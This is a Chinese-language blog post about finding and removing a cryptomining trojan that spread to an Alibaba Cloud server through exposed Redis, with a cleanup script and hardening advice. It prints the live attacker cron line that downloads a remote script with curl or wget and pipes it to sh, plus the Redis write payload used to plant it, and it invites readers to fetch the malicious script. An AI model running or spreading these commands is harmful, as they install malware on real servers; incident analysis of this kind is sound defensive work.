记一次阿里云被植入挖矿木马事件

一、起因

今天,同事说我负责的模块在阿里云上不工作了,我赶忙远程登录查看。

1. 服务器的症状

  • 敲命令的时候,终端的字符回传很快,但是命令的响应时间较长;
  • 服务器内存32GB,剩余200MB;
  • CPU跑到了99%;
  • 我负责的模块之前一直工作正常,稳定性好,没修改过配置,但现在不能工作;
  • 查看我负责的模块配置正常、运行正常,但部分服务出错;
  • top命令未发现有高耗CPU的进程,但是有大量的kworkerds进程。

2. 定位分析

病症1、3、6说明是阿里云服务器已经产生了异常。

根据病症4、5一步步梳理流程,核对日志,定位问题,最终发现,redis可以正常提供服务,但程序无法将数据刷新到redis,导致分别负责读写的两个模块数据长时间不能同步,重启redis后服务正常。但问题需要进一步分析。

[[266594]]

二、查找木马

服务器是与别人共用的,其他的服务,我们不知道是否有用。但服务器卡顿,实在影响调试效率,搜索了一下kworkerds,才知道是个挖矿的木马程序。

查看木马进程数

  1. [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l 
  2. 385 

kill掉所有木马进程

  1. [root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9 

查看开机启动项和任务

  1.  [root@XXX ~]# systemctl list-unit-files 
  2.  (没发现问题,就不贴进来了) 
  3.  [root@XXX ~]# cat /etc/rc.local 
  4.  (没发现问题,就不贴进来了) 
  5.  [root@XXX ~]# cat /etc/crontab 
  6.  ... 
  7.  01 * * * * root run-parts /etc/cron.hourly 
  8.  02 4 * * * root run-parts /etc/cron.daily 
  9.  0 1 * * * root /usr/local/bin/dns 
  10. [root@XXX ~]# crontab -l 
  11. */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh 

“/etc/crontab”里的内容看起来好像是正常,但是“crontab -l”中显示的内容有些来路不明。

于是下载代码查看

  1. [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1) 
  2. (木马的代码我就不贴进来了) 

限于篇幅,木马的代码就不展示在此了,大家可以自行下载查看,记住,下载的时候要把”|sh”去掉,当心玩火自焚。

三、分析木马

木马脚本写得还是不错的,风格整齐,逻辑严谨。出色地完成了以下功能:

  • 删除阿里云云盾客户端和阿里云监控程序;
  • 停止、删除主机已经存在的其他挖矿程序;
  • 下载挖矿程序和配置文件并执行;
  • 约束木马程序,防止触发服务器性能监测工具告警;
  • 设置任务计划,保持更新,持续感染主机;
  • 通过本机感染其他主机;
  • 清空操作日志,篡改文件修改时间,隐藏自己的访问踪迹。

木马中同时用了shell和python两种脚本,脚本逐层嵌套,对于一些敏感的代码,使用了base64进行加密,针对不同的系统平台有不同的处理,同时锁定了自己修改的文件,防止被别的程序随意修改,提供远程服务的IP地址来自非洲东部的塞舌尔共和国。

四、木马是如何传播的

1. 传播方式

木马传播方式有三种,如下:

  • activeMQ
  • redis
  • ssh的免密码登录

2. 传播思路

木马感染的步骤如下:

  • 通过扫描”xxx.xxx.0.0/16″网段内的所有IP的6379和8186两个端口;
  • 如果可以连接,那么以key-value的形式写入数据;
    1. 'set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n' 
  • 将该条数据以文件的形式保存到定时任务的文件目录,如/var/spool/cron/root等;
  • 下个定时周期到来时,服务器自动下载远程脚本并执行;
  • 遍历该主机可以免密码登录的其他主机,远程连接并执行代码。

远程脚本执行时,会重新修改定时任务等文件,保证可以持续感染主机,同时也隐藏了第一次感染的痕迹。之后每个定时周期到来时,都会重复4、5两个步骤。

3. 排查漏洞

服务器中没有activeMQ,没有.ssh文件夹。小编也根据代码流程,感染了一下自己的redis,但是并没有达到预期的结果。

本人用的redis文件保存的时候是二进制的,不是字符串,根本无法被定时任务执行,但是修改感染脚本,可以完成黑客设置的既定思路。

结合阿里云之前修改过密码的情况,本次感染可能有两种来源:

  • 以前发现了被感染,但木马没有被清理干净;
  • 木马作者会定期修改自己的代码来感染不同版本的redis,甚至是去利用其它软件的漏洞。

另外一个代码变动的证据就是netstat命令的二进制文件遭到篡改,这显然是为了应对运维人员排查异常网络连接而设计的,但本次检查木马代码时,并没有发现与netstat命令有关的操作。

五、清理木马

清理过程分两步:删除木马文件和修补当前漏洞。

1. 删除木马文件

根据木马的代码,写了清理脚本,如下:

  1. #!/bin/bash 
  2. ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9 
  3.  
  4. chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload 
  5. echo "" > /usr/local/bin/dns 
  6. echo "" > /etc/cron.d/root 
  7. echo "" > /etc/cron.d/apache 
  8. echo "" > /var/spool/cron/root 
  9. echo "" > /var/spool/cron/crontabs/root 
  10. rm -rf /etc/cron.hourly/oanacroner 
  11. rm -rf /etc/cron.daily/oanacroner 
  12. rm -rf  /etc/cron.monthly/oanacroner 
  13.  
  14. sed -i '/cron.hourly/d' /etc/crontab 
  15. sed -i '/cron.daily/d' /etc/crontab 
  16. sed -i '/usr\/local\/bin\/dns/d' /etc/crontab 
  17.  
  18. #sed -i '$d' /etc/ld.so.preload 
  19. rm -rf /usr/local/lib/libntpd.so 
  20.  
  21. #/tmp/.a可以不删,木马是通过此文件判断是否要卸载阿里云盾 
  22. #rm -rf /tmp/.a 
  23. rm -rf /bin/kworkerds 
  24. rm -rf /tmp/kworkerds 
  25. rm -rf /usr/sbin/kworkerds 
  26. rm -rf /etc/init.d/kworker 
  27. chkconfig --del kworker 

脚本仅供大家参考,在执行之前还是要对照一下具体的环境。

除此之外,还需要排查一下系统中是否有异常用户,异常的服务和异常的监听端口。毕竟服务器被入侵过,绝不能等闲视之。

2. 修补漏洞

以redis为例,修补漏洞有很多种方法:

  • 限制端口,使其对外不可连接;
  • 不要使用root运行reids;
  • 及时更新软件,修补漏洞;
  • 修改默认端口;
  • 对重要命令重命名;

关于这个问题,阿里云也有详细的安全加固方案:

https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC

编者的话

黑客一词听起来感觉酷酷的,因为世界上确有一批崇尚用技术实现“开放、自由、真实、平等、美好生活”的人,他们离经叛道,闪闪发光。然而,通常情况下非法获取利益的黑客仅仅是一个小偷而已,喜欢的是不劳而获,而不是技术本身,技术水平也只能是一般。

希望大家从技术交流,防范风险的角度看待文中提供的木马资料,不要走上违法犯罪的道路。从另一个角度讲,信息安全无小事,文中的木马仅仅是挖矿,事实上,该漏洞足以让黑客在你的服务器上做任何事,大家万万不可掉以轻心。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/126840.html<

(0)
管理的头像管理
上一篇2025-02-24 09:48
下一篇 2025-02-24 09:49

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注